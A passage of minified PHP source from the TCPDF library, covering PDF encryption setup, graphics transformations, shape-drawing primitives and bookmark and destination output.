_generateencryptionkey(){$keybytelen=($this->encryptdata['Length']/8);if(!$this->encryptdata['pubkey']){if($this->encryptdata['mode']==3){$this->encryptdata['key']=substr(hash('sha256',TCPDF_STATIC::getRandomSeed(),true),0,$keybytelen);$this->encryptdata['user_password']=$this->_fixAES256Password($this->encryptdata['user_password']);$this->encryptdata['owner_password']=$this->_fixAES256Password($this->encryptdata['owner_password']);$this->encryptdata['U']=$this->_Uvalue();$this->encryptdata['UE']=$this->_UEvalue();$this->encryptdata['O']=$this->_Ovalue();$this->encryptdata['OE']=$this->_OEvalue();$this->encryptdata['P']=$this->encryptdata['protection'];$perms=TCPDF_STATIC::getEncPermissionsString($this->encryptdata['protection']);$perms.=chr(255).chr(255).chr(255).chr(255);if(isset($this->encryptdata['CF']['EncryptMetadata']) AND (!$this->encryptdata['CF']['EncryptMetadata'])){$perms.='F';}else {$perms.='T';}$perms.='adb';$perms.='nick';$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_ECB));$this->encryptdata['perms']=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$this->encryptdata['key'],$perms,MCRYPT_MODE_ECB,$iv);}else {$this->encryptdata['user_password']=substr($this->encryptdata['user_password'].TCPDF_STATIC::$enc_padding,0,32);$this->encryptdata['owner_password']=substr($this->encryptdata['owner_password'].TCPDF_STATIC::$enc_padding,0,32);$this->encryptdata['O']=$this->_Ovalue();$permissions=TCPDF_STATIC::getEncPermissionsString($this->encryptdata['protection']);$tmp=TCPDF_STATIC::_md5_16($this->encryptdata['user_password'].$this->encryptdata['O'].$permissions.$this->encryptdata['fileid']);if($this->encryptdata['mode']>0){for($i=0;$i<50;++$i){$tmp=TCPDF_STATIC::_md5_16(substr($tmp,0,$keybytelen));}}$this->encryptdata['key']=substr($tmp,0,$keybytelen);$this->encryptdata['U']=$this->_Uvalue();$this->encryptdata['P']=$this->encryptdata['protection'];}}else {$seed=sha1(TCPDF_STATIC::getRandomSeed(),true);$recipient_bytes='';foreach($this->encryptdata['pubkeys'] as $pubkey){if(isset($pubkey['p'])){$pkprotection=TCPDF_STATIC::getUserPermissionCode($pubkey['p'],$this->encryptdata['mode']);}else {$pkprotection=$this->encryptdata['protection'];}$pkpermissions=TCPDF_STATIC::getEncPermissionsString($pkprotection);$envelope=$seed.$pkpermissions;$tempkeyfile=TCPDF_STATIC::getObjFilename('key',$this->file_id);$f=TCPDF_STATIC::fopenLocal($tempkeyfile,'wb');if(!$f){$this->Error('Unable to create temporary key file: '.$tempkeyfile);}$envelope_length=strlen($envelope);fwrite($f,$envelope,$envelope_length);fclose($f);$tempencfile=TCPDF_STATIC::getObjFilename('enc',$this->file_id);if(!openssl_pkcs7_encrypt($tempkeyfile,$tempencfile,$pubkey['c'],array(),PKCS7_BINARY|PKCS7_DETACHED)){$this->Error('Unable to encrypt the file: '.$tempkeyfile);}$signature=file_get_contents($tempencfile,false,null,$envelope_length);$signature=substr($signature,strpos($signature,'Content-Disposition'));$tmparr=explode("
",$signature);$signature=trim($tmparr[1]);unset($tmparr);$signature=base64_decode($signature);$hexsignature=current(unpack('H*',$signature));$this->encryptdata['Recipients'][]=$hexsignature;$recipient_bytes.=$signature;}if($this->encryptdata['mode']==3){$this->encryptdata['key']=substr(hash('sha256',$seed.$recipient_bytes,true),0,$keybytelen);}else {$this->encryptdata['key']=substr(sha1($seed.$recipient_bytes,true),0,$keybytelen);}}} function SetProtection($permissions=array('print','modify','copy','annot-forms','fill-forms','extract','assemble','print-high'),$user_pass='',$owner_pass=null,$mode=0,$pubkeys=null){if($this->pdfa_mode){return;}$this->encryptdata['protection']=TCPDF_STATIC::getUserPermissionCode($permissions,$mode);if(($pubkeys!==null) AND (is_array($pubkeys))){$this->encryptdata['pubkeys']=$pubkeys;if($mode==0){$mode=1;}if(!function_exists('openssl_pkcs7_encrypt')){$this->Error('Public-Key Security requires openssl library.');}$this->encryptdata['pubkey']=true;$this->encryptdata['Filter']='Adobe.PubSec';$this->encryptdata['StmF']='DefaultCryptFilter';$this->encryptdata['StrF']='DefaultCryptFilter';}else {$this->encryptdata['pubkey']=false;$this->encryptdata['Filter']='Standard';$this->encryptdata['StmF']='StdCF';$this->encryptdata['StrF']='StdCF';}if($mode>1){if(!extension_loaded('mcrypt')){$this->Error('AES encryption requires mcrypt library (http://www.php.net/manual/en/mcrypt.requirements.php).');}if(mcrypt_get_cipher_name(MCRYPT_RIJNDAEL_128)===false){$this->Error('AES encryption requires MCRYPT_RIJNDAEL_128 cypher.');}if(($mode==3) AND !function_exists('hash')){$this->Error('AES 256 encryption requires HASH Message Digest Framework (http://www.php.net/manual/en/book.hash.php).');}}if($owner_pass===null){$owner_pass=md5(TCPDF_STATIC::getRandomSeed());}$this->encryptdata['user_password']=$user_pass;$this->encryptdata['owner_password']=$owner_pass;$this->encryptdata['mode']=$mode;switch($mode){case 0:{$this->encryptdata['V']=1;$this->encryptdata['Length']=40;$this->encryptdata['CF']['CFM']='V2';break;}case 1:{$this->encryptdata['V']=2;$this->encryptdata['Length']=128;$this->encryptdata['CF']['CFM']='V2';if($this->encryptdata['pubkey']){$this->encryptdata['SubFilter']='adbe.pkcs7.s4';$this->encryptdata['Recipients']=array();}break;}case 2:{$this->encryptdata['V']=4;$this->encryptdata['Length']=128;$this->encryptdata['CF']['CFM']='AESV2';$this->encryptdata['CF']['Length']=128;if($this->encryptdata['pubkey']){$this->encryptdata['SubFilter']='adbe.pkcs7.s5';$this->encryptdata['Recipients']=array();}break;}case 3:{$this->encryptdata['V']=5;$this->encryptdata['Length']=256;$this->encryptdata['CF']['CFM']='AESV3';$this->encryptdata['CF']['Length']=256;if($this->encryptdata['pubkey']){$this->encryptdata['SubFilter']='adbe.pkcs7.s5';$this->encryptdata['Recipients']=array();}break;}}$this->encrypted=true;$this->encryptdata['fileid']=TCPDF_STATIC::convertHexStringToString($this->file_id);$this->_generateencryptionkey();} function StartTransform(){if($this->state!=2){return;}$this->_outSaveGraphicsState();if($this->inxobj){$this->xobjects[$this->xobjid]['transfmrk'][]=strlen($this->xobjects[$this->xobjid]['outdata']);}else {$this->transfmrk[$this->page][]=$this->pagelen[$this->page];}++$this->transfmatrix_key;$this->transfmatrix[$this->transfmatrix_key]=array();} function StopTransform(){if($this->state!=2){return;}$this->_outRestoreGraphicsState();if(isset($this->transfmatrix[$this->transfmatrix_key])){array_pop($this->transfmatrix[$this->transfmatrix_key]);--$this->transfmatrix_key;}if($this->inxobj){array_pop($this->xobjects[$this->xobjid]['transfmrk']);}else {array_pop($this->transfmrk[$this->page]);}} function ScaleX($s_x,$x='',$y=''){$this->Scale($s_x,100,$x,$y);} function ScaleY($s_y,$x='',$y=''){$this->Scale(100,$s_y,$x,$y);} function ScaleXY($s,$x='',$y=''){$this->Scale($s,$s,$x,$y);} function Scale($s_x,$s_y,$x='',$y=''){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}if(($s_x==0) OR ($s_y==0)){$this->Error('Please do not use values equal to zero for scaling');}$y=($this->h-$y)*$this->k;$x*=$this->k;$s_x/=100;$s_y/=100;$tm=array();$tm[0]=$s_x;$tm[1]=0;$tm[2]=0;$tm[3]=$s_y;$tm[4]=$x*(1-$s_x);$tm[5]=$y*(1-$s_y);$this->Transform($tm);} function MirrorH($x=''){$this->Scale(-100,100,$x);} function MirrorV($y=''){$this->Scale(100,-100,'',$y);} function MirrorP($x='',$y=''){$this->Scale(-100,-100,$x,$y);} function MirrorL($angle=0,$x='',$y=''){$this->Scale(-100,100,$x,$y);$this->Rotate(-2*($angle-90),$x,$y);} function TranslateX($t_x){$this->Translate($t_x,0);} function TranslateY($t_y){$this->Translate(0,$t_y);} function Translate($t_x,$t_y){$tm=array();$tm[0]=1;$tm[1]=0;$tm[2]=0;$tm[3]=1;$tm[4]=$t_x*$this->k;$tm[5]=-$t_y*$this->k;$this->Transform($tm);} function Rotate($angle,$x='',$y=''){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}$y=($this->h-$y)*$this->k;$x*=$this->k;$tm=array();$tm[0]=cos(deg2rad($angle));$tm[1]=sin(deg2rad($angle));$tm[2]=-$tm[1];$tm[3]=$tm[0];$tm[4]=$x+($tm[1]*$y)-($tm[0]*$x);$tm[5]=$y-($tm[0]*$y)-($tm[1]*$x);$this->Transform($tm);} function SkewX($angle_x,$x='',$y=''){$this->Skew($angle_x,0,$x,$y);} function SkewY($angle_y,$x='',$y=''){$this->Skew(0,$angle_y,$x,$y);} function Skew($angle_x,$angle_y,$x='',$y=''){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}if(($angle_x<=-90) OR ($angle_x>=90) OR ($angle_y<=-90) OR ($angle_y>=90)){$this->Error('Please use values between -90 and +90 degrees for Skewing.');}$x*=$this->k;$y=($this->h-$y)*$this->k;$tm=array();$tm[0]=1;$tm[1]=tan(deg2rad($angle_y));$tm[2]=tan(deg2rad($angle_x));$tm[3]=1;$tm[4]=-$tm[2]*$y;$tm[5]=-$tm[1]*$x;$this->Transform($tm);} function Transform($tm){if($this->state!=2){return;}$this->_out(sprintf('%F %F %F %F %F %F cm',$tm[0],$tm[1],$tm[2],$tm[3],$tm[4],$tm[5]));$this->transfmatrix[$this->transfmatrix_key][]=array('a'=>$tm[0],'b'=>$tm[1],'c'=>$tm[2],'d'=>$tm[3],'e'=>$tm[4],'f'=>$tm[5]);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$key=key($this->xobjects[$this->xobjid]['transfmrk']);$this->xobjects[$this->xobjid]['transfmrk'][$key]=strlen($this->xobjects[$this->xobjid]['outdata']);}}elseif(end($this->transfmrk[$this->page])!==false){$key=key($this->transfmrk[$this->page]);$this->transfmrk[$this->page][$key]=$this->pagelen[$this->page];}} function SetLineWidth($width){$this->LineWidth=$width;$this->linestyleWidth=sprintf('%F w',($width*$this->k));if($this->state==2){$this->_out($this->linestyleWidth);}} function GetLineWidth(){return $this->LineWidth;} function SetLineStyle($style,$ret=false){$s='';if(!is_array($style)){return;}if(isset($style['width'])){$this->LineWidth=$style['width'];$this->linestyleWidth=sprintf('%F w',($style['width']*$this->k));$s.=$this->linestyleWidth.' ';}if(isset($style['cap'])){$ca=array('butt'=>0,'round'=>1,'square'=>2);if(isset($ca[$style['cap']])){$this->linestyleCap=$ca[$style['cap']].' J';$s.=$this->linestyleCap.' ';}}if(isset($style['join'])){$ja=array('miter'=>0,'round'=>1,'bevel'=>2);if(isset($ja[$style['join']])){$this->linestyleJoin=$ja[$style['join']].' j';$s.=$this->linestyleJoin.' ';}}if(isset($style['dash'])){$dash_string='';if($style['dash']){if(preg_match('/^.+,/',$style['dash'])>0){$tab=explode(',',$style['dash']);}else {$tab=array($style['dash']);}$dash_string='';foreach($tab as $i=>$v){if($i){$dash_string.=' ';}$dash_string.=sprintf('%F',$v);}}if(!isset($style['phase']) OR !$style['dash']){$style['phase']=0;}$this->linestyleDash=sprintf('[%s] %F d',$dash_string,$style['phase']);$s.=$this->linestyleDash.' ';}if(isset($style['color'])){$s.=$this->SetDrawColorArray($style['color'],true).' ';}if(!$ret AND ($this->state==2)){$this->_out($s);}return $s;} function _outPoint($x,$y){if($this->state==2){$this->_out(sprintf('%F %F m',($x*$this->k),(($this->h-$y)*$this->k)));}} function _outLine($x,$y){if($this->state==2){$this->_out(sprintf('%F %F l',($x*$this->k),(($this->h-$y)*$this->k)));}} function _outRect($x,$y,$w,$h,$op){if($this->state==2){$this->_out(sprintf('%F %F %F %F re %s',($x*$this->k),(($this->h-$y)*$this->k),($w*$this->k),(-$h*$this->k),$op));}} function _outCurve($x1,$y1,$x2,$y2,$x3,$y3){if($this->state==2){$this->_out(sprintf('%F %F %F %F %F %F c',($x1*$this->k),(($this->h-$y1)*$this->k),($x2*$this->k),(($this->h-$y2)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function _outCurveV($x2,$y2,$x3,$y3){if($this->state==2){$this->_out(sprintf('%F %F %F %F v',($x2*$this->k),(($this->h-$y2)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function _outCurveY($x1,$y1,$x3,$y3){if($this->state==2){$this->_out(sprintf('%F %F %F %F y',($x1*$this->k),(($this->h-$y1)*$this->k),($x3*$this->k),(($this->h-$y3)*$this->k)));}} function Line($x1,$y1,$x2,$y2,$style=array()){if($this->state!=2){return;}if(is_array($style)){$this->SetLineStyle($style);}$this->_outPoint($x1,$y1);$this->_outLine($x2,$y2);$this->_out('S');} function Rect($x,$y,$w,$h,$style='',$border_style=array(),$fill_color=array()){if($this->state!=2){return;}if(empty($style)){$style='S';}if(!(strpos($style,'F')===false) AND !empty($fill_color)){$this->SetFillColorArray($fill_color);}if(!empty($border_style)){if(isset($border_style['all']) AND !empty($border_style['all'])){$this->SetLineStyle($border_style['all']);$border_style=array();}else {$opnostroke=array('S'=>'','D'=>'','s'=>'','d'=>'','B'=>'F','FD'=>'F','DF'=>'F','B*'=>'F*','F*D'=>'F*','DF*'=>'F*','b'=>'f','fd'=>'f','df'=>'f','b*'=>'f*','f*d'=>'f*','df*'=>'f*');if(isset($opnostroke[$style])){$style=$opnostroke[$style];}}}if(!empty($style)){$op=TCPDF_STATIC::getPathPaintOperator($style);$this->_outRect($x,$y,$w,$h,$op);}if(!empty($border_style)){$border_style2=array();foreach($border_style as $line=>$value){$length=strlen($line);for($i=0;$i<$length;++$i){$border_style2[$line[$i]]=$value;}}$border_style=$border_style2;if(isset($border_style['L']) AND $border_style['L']){$this->Line($x,$y,$x,$y+$h,$border_style['L']);}if(isset($border_style['T']) AND $border_style['T']){$this->Line($x,$y,$x+$w,$y,$border_style['T']);}if(isset($border_style['R']) AND $border_style['R']){$this->Line($x+$w,$y,$x+$w,$y+$h,$border_style['R']);}if(isset($border_style['B']) AND $border_style['B']){$this->Line($x,$y+$h,$x+$w,$y+$h,$border_style['B']);}}} function Curve($x0,$y0,$x1,$y1,$x2,$y2,$x3,$y3,$style='',$line_style=array(),$fill_color=array()){if($this->state!=2){return;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($line_style){$this->SetLineStyle($line_style);}$this->_outPoint($x0,$y0);$this->_outCurve($x1,$y1,$x2,$y2,$x3,$y3);$this->_out($op);} function Polycurve($x0,$y0,$segments,$style='',$line_style=array(),$fill_color=array()){if($this->state!=2){return;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}if($line_style){$this->SetLineStyle($line_style);}$this->_outPoint($x0,$y0);foreach($segments as $segment){list($x1,$y1,$x2,$y2,$x3,$y3)=$segment;$this->_outCurve($x1,$y1,$x2,$y2,$x3,$y3);}$this->_out($op);} function Ellipse($x0,$y0,$rx,$ry='',$angle=0,$astart=0,$afinish=360,$style='',$line_style=array(),$fill_color=array(),$nc=2){if($this->state!=2){return;}if(TCPDF_STATIC::empty_string($ry) OR ($ry==0)){$ry=$rx;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}if($line_style){$this->SetLineStyle($line_style);}$this->_outellipticalarc($x0,$y0,$rx,$ry,$angle,$astart,$afinish,false,$nc,true,true,false);$this->_out($op);} function _outellipticalarc($xc,$yc,$rx,$ry,$xang=0,$angs=0,$angf=360,$pie=false,$nc=2,$startpoint=true,$ccw=true,$svg=false){if(($rx<=0) OR ($ry<0)){return;}$k=$this->k;if($nc<2){$nc=2;}$xmin=2147483647;$ymin=2147483647;$xmax=0;$ymax=0;if($pie){$this->_outPoint($xc,$yc);}$xang=deg2rad((float)$xang);$angs=deg2rad((float)$angs);$angf=deg2rad((float)$angf);if($svg){$as=$angs;$af=$angf;}else {$as=atan2((sin($angs)/$ry),(cos($angs)/$rx));$af=atan2((sin($angf)/$ry),(cos($angf)/$rx));}if($as<0){$as+=(2*M_PI);}if($af<0){$af+=(2*M_PI);}if($ccw AND ($as>$af)){$as-=(2*M_PI);}elseif(!$ccw AND ($as<$af)){$af-=(2*M_PI);}$total_angle=($af-$as);if($nc<2){$nc=2;}$nc*=(2*abs($total_angle)/M_PI);$nc=round($nc)+1;$arcang=($total_angle/$nc);$x0=$xc;$y0=($this->h-$yc);$ang=$as;$alpha=sin($arcang)*((sqrt(4+(3*pow(tan(($arcang)/2),2)))-1)/3);$cos_xang=cos($xang);$sin_xang=sin($xang);$cos_ang=cos($ang);$sin_ang=sin($ang);$px1=$x0+($rx*$cos_xang*$cos_ang)-($ry*$sin_xang*$sin_ang);$py1=$y0+($rx*$sin_xang*$cos_ang)+($ry*$cos_xang*$sin_ang);$qx1=($alpha*((-$rx*$cos_xang*$sin_ang)-($ry*$sin_xang*$cos_ang)));$qy1=($alpha*((-$rx*$sin_xang*$sin_ang)+($ry*$cos_xang*$cos_ang)));if($pie){$this->_outLine($px1,$this->h-$py1);}elseif($startpoint){$this->_outPoint($px1,$this->h-$py1);}for($i=1;$i<=$nc;++$i){$ang=$as+($i*$arcang);if($i==$nc){$ang=$af;}$cos_ang=cos($ang);$sin_ang=sin($ang);$px2=$x0+($rx*$cos_xang*$cos_ang)-($ry*$sin_xang*$sin_ang);$py2=$y0+($rx*$sin_xang*$cos_ang)+($ry*$cos_xang*$sin_ang);$qx2=($alpha*((-$rx*$cos_xang*$sin_ang)-($ry*$sin_xang*$cos_ang)));$qy2=($alpha*((-$rx*$sin_xang*$sin_ang)+($ry*$cos_xang*$cos_ang)));$cx1=($px1+$qx1);$cy1=($this->h-($py1+$qy1));$cx2=($px2-$qx2);$cy2=($this->h-($py2-$qy2));$cx3=$px2;$cy3=($this->h-$py2);$this->_outCurve($cx1,$cy1,$cx2,$cy2,$cx3,$cy3);$xmin=min($xmin,$cx1,$cx2,$cx3);$ymin=min($ymin,$cy1,$cy2,$cy3);$xmax=max($xmax,$cx1,$cx2,$cx3);$ymax=max($ymax,$cy1,$cy2,$cy3);$px1=$px2;$py1=$py2;$qx1=$qx2;$qy1=$qy2;}if($pie){$this->_outLine($xc,$yc);$xmin=min($xmin,$xc);$ymin=min($ymin,$yc);$xmax=max($xmax,$xc);$ymax=max($ymax,$yc);}return array($xmin,$ymin,$xmax,$ymax);} function Circle($x0,$y0,$r,$angstr=0,$angend=360,$style='',$line_style=array(),$fill_color=array(),$nc=2){$this->Ellipse($x0,$y0,$r,$r,0,$angstr,$angend,$style,$line_style,$fill_color,$nc);} function PolyLine($p,$style='',$line_style=array(),$fill_color=array()){$this->Polygon($p,$style,$line_style,$fill_color,false);} function Polygon($p,$style='',$line_style=array(),$fill_color=array(),$closed=true){if($this->state!=2){return;}$nc=count($p);$np=$nc/2;if($closed){for($i=0;$i<4;++$i){$p[$nc+$i]=$p[$i];}if(isset($line_style[0])){$line_style[$np]=$line_style[0];}$nc+=4;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$line_style=array();}$draw=true;if($line_style){if(isset($line_style['all'])){$this->SetLineStyle($line_style['all']);}else {$draw=false;if($op=='B'){$op='f';$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$this->_outLine($p[$i],$p[$i+1]);}$this->_out($op);}$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$line_num=($i/2)-1;if(isset($line_style[$line_num])){if($line_style[$line_num]!=0){if(is_array($line_style[$line_num])){$this->_out('S');$this->SetLineStyle($line_style[$line_num]);$this->_outPoint($p[$i-2],$p[$i-1]);$this->_outLine($p[$i],$p[$i+1]);$this->_out('S');$this->_outPoint($p[$i],$p[$i+1]);}else {$this->_outLine($p[$i],$p[$i+1]);}}}else {$this->_outLine($p[$i],$p[$i+1]);}}$this->_out($op);}}if($draw){$this->_outPoint($p[0],$p[1]);for($i=2;$i<$nc;$i=$i+2){$this->_outLine($p[$i],$p[$i+1]);}$this->_out($op);}} function RegularPolygon($x0,$y0,$r,$ns,$angle=0,$draw_circle=false,$style='',$line_style=array(),$fill_color=array(),$circle_style='',$circle_outLine_style=array(),$circle_fill_color=array()){if(3>$ns){$ns=3;}if($draw_circle){$this->Circle($x0,$y0,$r,0,360,$circle_style,$circle_outLine_style,$circle_fill_color);}$p=array();for($i=0;$i<$ns;++$i){$a=$angle+($i*360/$ns);$a_rad=deg2rad((float)$a);$p[]=$x0+($r*sin($a_rad));$p[]=$y0+($r*cos($a_rad));}$this->Polygon($p,$style,$line_style,$fill_color);} function StarPolygon($x0,$y0,$r,$nv,$ng,$angle=0,$draw_circle=false,$style='',$line_style=array(),$fill_color=array(),$circle_style='',$circle_outLine_style=array(),$circle_fill_color=array()){if($nv<2){$nv=2;}if($draw_circle){$this->Circle($x0,$y0,$r,0,360,$circle_style,$circle_outLine_style,$circle_fill_color);}$p2=array();$visited=array();for($i=0;$i<$nv;++$i){$a=$angle+($i*360/$nv);$a_rad=deg2rad((float)$a);$p2[]=$x0+($r*sin($a_rad));$p2[]=$y0+($r*cos($a_rad));$visited[]=false;}$p=array();$i=0;do{$p[]=$p2[$i*2];$p[]=$p2[($i*2)+1];$visited[$i]=true;$i+=$ng;$i%=$nv;}while(!$visited[$i]);$this->Polygon($p,$style,$line_style,$fill_color);} function RoundedRect($x,$y,$w,$h,$r,$round_corner='1111',$style='',$border_style=array(),$fill_color=array()){$this->RoundedRectXY($x,$y,$w,$h,$r,$r,$round_corner,$style,$border_style,$fill_color);} function RoundedRectXY($x,$y,$w,$h,$rx,$ry,$round_corner='1111',$style='',$border_style=array(),$fill_color=array()){if($this->state!=2){return;}if(($round_corner=='0000') OR (($rx==$ry) AND ($rx==0))){$this->Rect($x,$y,$w,$h,$style,$border_style,$fill_color);return;}if(!(false===strpos($style,'F')) AND isset($fill_color)){$this->SetFillColorArray($fill_color);}$op=TCPDF_STATIC::getPathPaintOperator($style);if($op=='f'){$border_style=array();}if($border_style){$this->SetLineStyle($border_style);}$MyArc=4/3*(sqrt(2)-1);$this->_outPoint($x+$rx,$y);$xc=$x+$w-$rx;$yc=$y+$ry;$this->_outLine($xc,$y);if($round_corner[0]){$this->_outCurve($xc+($rx*$MyArc),$yc-$ry,$xc+$rx,$yc-($ry*$MyArc),$xc+$rx,$yc);}else {$this->_outLine($x+$w,$y);}$xc=$x+$w-$rx;$yc=$y+$h-$ry;$this->_outLine($x+$w,$yc);if($round_corner[1]){$this->_outCurve($xc+$rx,$yc+($ry*$MyArc),$xc+($rx*$MyArc),$yc+$ry,$xc,$yc+$ry);}else {$this->_outLine($x+$w,$y+$h);}$xc=$x+$rx;$yc=$y+$h-$ry;$this->_outLine($xc,$y+$h);if($round_corner[2]){$this->_outCurve($xc-($rx*$MyArc),$yc+$ry,$xc-$rx,$yc+($ry*$MyArc),$xc-$rx,$yc);}else {$this->_outLine($x,$y+$h);}$xc=$x+$rx;$yc=$y+$ry;$this->_outLine($x,$yc);if($round_corner[3]){$this->_outCurve($xc-$rx,$yc-($ry*$MyArc),$xc-($rx*$MyArc),$yc-$ry,$xc,$yc-$ry);}else {$this->_outLine($x,$y);$this->_outLine($x+$rx,$y);}$this->_out($op);} function Arrow($x0,$y0,$x1,$y1,$head_style=0,$arm_size=5,$arm_angle=15){$dir_angle=atan2(($y0-$y1),($x0-$x1));if($dir_angle<0){$dir_angle+=(2*M_PI);}$arm_angle=deg2rad($arm_angle);$sx1=$x1;$sy1=$y1;if($head_style>0){$sx1=$x1+(($arm_size-$this->LineWidth)*cos($dir_angle));$sy1=$y1+(($arm_size-$this->LineWidth)*sin($dir_angle));}$this->Line($x0,$y0,$sx1,$sy1);$x2L=$x1+($arm_size*cos($dir_angle+$arm_angle));$y2L=$y1+($arm_size*sin($dir_angle+$arm_angle));$x2R=$x1+($arm_size*cos($dir_angle-$arm_angle));$y2R=$y1+($arm_size*sin($dir_angle-$arm_angle));$mode='D';$style=array();switch($head_style){case 0:{$mode='D';$style=array(1,1,0);break;}case 1:{$mode='D';break;}case 2:{$mode='DF';break;}case 3:{$mode='F';break;}}$this->Polygon(array($x2L,$y2L,$x1,$y1,$x2R,$y2R),$mode,$style,array());} function setDestination($name,$y=-1,$page='',$x=-1){$name=TCPDF_STATIC::encodeNameObject($name);if(TCPDF_STATIC::empty_string($name)){return false;}if($y==-1){$y=$this->GetY();}elseif($y<0){$y=0;}elseif($y>$this->h){$y=$this->h;}if($x==-1){$x=$this->GetX();}elseif($x<0){$x=0;}elseif($x>$this->w){$x=$this->w;}$fixed=false;if(!empty($page) AND ($page[0]=='*')){$page=intval(substr($page,1));$fixed=true;}if(empty($page)){$page=$this->PageNo();if(empty($page)){return;}}$this->dests[$name]=array('x'=>$x,'y'=>$y,'p'=>$page,'f'=>$fixed);return $name;} function getDestination(){return $this->dests;} function _putdests(){if(empty($this->dests)){return;}$this->n_dests=$this->_newobj();$out=' <<';foreach($this->dests as $name=>$o){$out.=' /'.$name.' '.sprintf('[%u 0 R /XYZ %F %F null]',$this->page_obj_id[($o['p'])],($o['x']*$this->k),($this->pagedim[$o['p']]['h']-($o['y']*$this->k)));}$out.=' >>';$out.="
".'endobj';$this->_out($out);} function setBookmark($txt,$level=0,$y=-1,$page='',$style='',$color=array(0,0,0),$x=-1,$link=''){$this->Bookmark($txt,$level,$y,$page,$style,$color,$x,$link);} function Bookmark($txt,$level=0,$y=-1,$page='',$style='',$color=array(0,0,0),$x=-1,$link=''){if($level<0){$level=0;}if(isset($this->outlines[0])){$lastoutline=end($this->outlines);$maxlevel=$lastoutline['l']+1;}else {$maxlevel=0;}if($level>$maxlevel){$level=$maxlevel;}if($y==-1){$y=$this->GetY();}elseif($y<0){$y=0;}elseif($y>$this->h){$y=$this->h;}if($x==-1){$x=$this->GetX();}elseif($x<0){$x=0;}elseif($x>$this->w){$x=$this->w;}$fixed=false;if(!empty($page) AND ($page[0]=='*')){$page=intval(substr($page,1));$fixed=true;}if(empty($page)){$page=$this->PageNo();if(empty($page)){return;}}$this->outlines[]=array('t'=>$txt,'l'=>$level,'x'=>$x,'y'=>$y,'p'=>$page,'f'=>$fixed,'s'=>strtoupper($style),'c'=>$color,'u'=>$link);} function sortBookmarks(){$outline_p=array();$outline_y=array();foreach($this->outlines as $key=>$row){$outline_p[$key]=$row['p'];$outline_k[$key]=$key;}array_multisort($outline_p,SORT_NUMERIC,SORT_ASC,$outline_k,SORT_NUMERIC,SORT_ASC,$this->outlines);} function _putbookmarks(){$nb=count($this->outlines);if($nb==0){return;}$this->sortBookmarks();$lru=array();$level=0;foreach($this->outlines as $i=>$o){if($o['l']>0){$parent=$lru[($o['l']-1)];$this->outlines[$i]['parent']=$parent;$this->outlines[$parent]['last']=$i;if($o['l']>$level){$this->outlines[$parent]['first']=$i;}}else {$this->outlines[$i]['parent']=$nb;}if(($o['l']<=$level) AND ($i>0)){$prev=$lru[$o['l']];$this->outlines[$prev]['next']=$i;$this->outlines[$i]['prev']=$prev;}$lru[$o['l']]=$i;$level=$o['l'];}$n=$this->n+1;$nltags='/<br[\s]?\/>|<\/(blockquote|dd|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|p|pre|ul|tcpdf|table|tr|td)>/si';foreach($this->outlines as $i=>$o){$oid=$this->_newobj();$title=preg_replace($nltags,"
",$o['t']);$title=preg_replace("/[
]+/si",'',$title);$title=preg_replace("/[
]+/si","
",$title);$title=strip_tags($title);$title=$this->stringTrim($title);$out='<</Title '.$this->_textstring($title,$oid);$out.=' /Parent '.($n+$o['parent']).' 0 R';if(isset($o['prev'])){$out.=' /Prev '.($n+$o['prev']).' 0 R';}if(isset($o['next'])){$out.=' /Next '.($n+$o['next']).' 0 R';}if(isset($o['first'])){$out.=' /First '.($n+$o['first']).' 0 R';}if(isset($o['last'])){$out.=' /Last '.($n+$o['last']).' 0 R';}if(isset($o['u']) AND !empty($o['u'])){if(is_string($o['u'])){if($o['u'][0]=='#'){$out.=' /Dest /'.TCPDF_STATIC::encodeNameObject(substr($o['u'],1));}elseif($o['u'][0]=='%'){$filename=basename(substr($o['u'],1));$out.=' /A <</S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P '.($o['p']-1).' /A '.$this->embeddedfiles[$filename]['a'].' >> >>';}elseif($o['u'][0]=='*'){$filename=basename(substr($o['u'],1));$jsa='var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="'.$filename.'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});';$out.=' /A <</S /JavaScript /JS '.$this->_textstring($jsa,$oid).'>>';}else {$out.=' /A <</S /URI /URI '.$this->_datastring($this->unhtmlentities($o['u']),$oid).'>>';}}elseif(isset($this->links[$o['u']])){$l=$this->links[$o['u']];if(isset($this->page_obj_id[($l['p'])])){$out.=sprintf(' /Dest [%u 0 R /XYZ 0 %F null]',$this->page_obj_id[($l['p'])],($this->pagedim[$l['p']]['h']-($l['y']*$this->k)));}}}elseif(isset($this->page_obj_id[($o['p'])])){$out.=' '.sprintf('/Dest [%u 0 R /XYZ %F %F null]',$this->page_obj_id[($o['p'])],($o['x']*$this->k),($this->pagedim[$o['p']]['h']-($o['y']*$this->k)));}$style=0;if(!empty($o['s'])){if(strpos($o['s'],'B')!==false){$style|=2;}if(strpos($o['s'],'I')!==false){$style|=1;}}$out.=sprintf(' /F %d',$style);if(isset($o['c']) AND is_array($o['c']) AND (count($o['c'])==3)){$color=array_values($o['c']);$out.=sprintf(' /C [%F %F %F]',($color[0]/255),($color[1]/255),($color[2]/255));}else {$out.=' /C [0.0 0.0 0.0]';}$out.=' 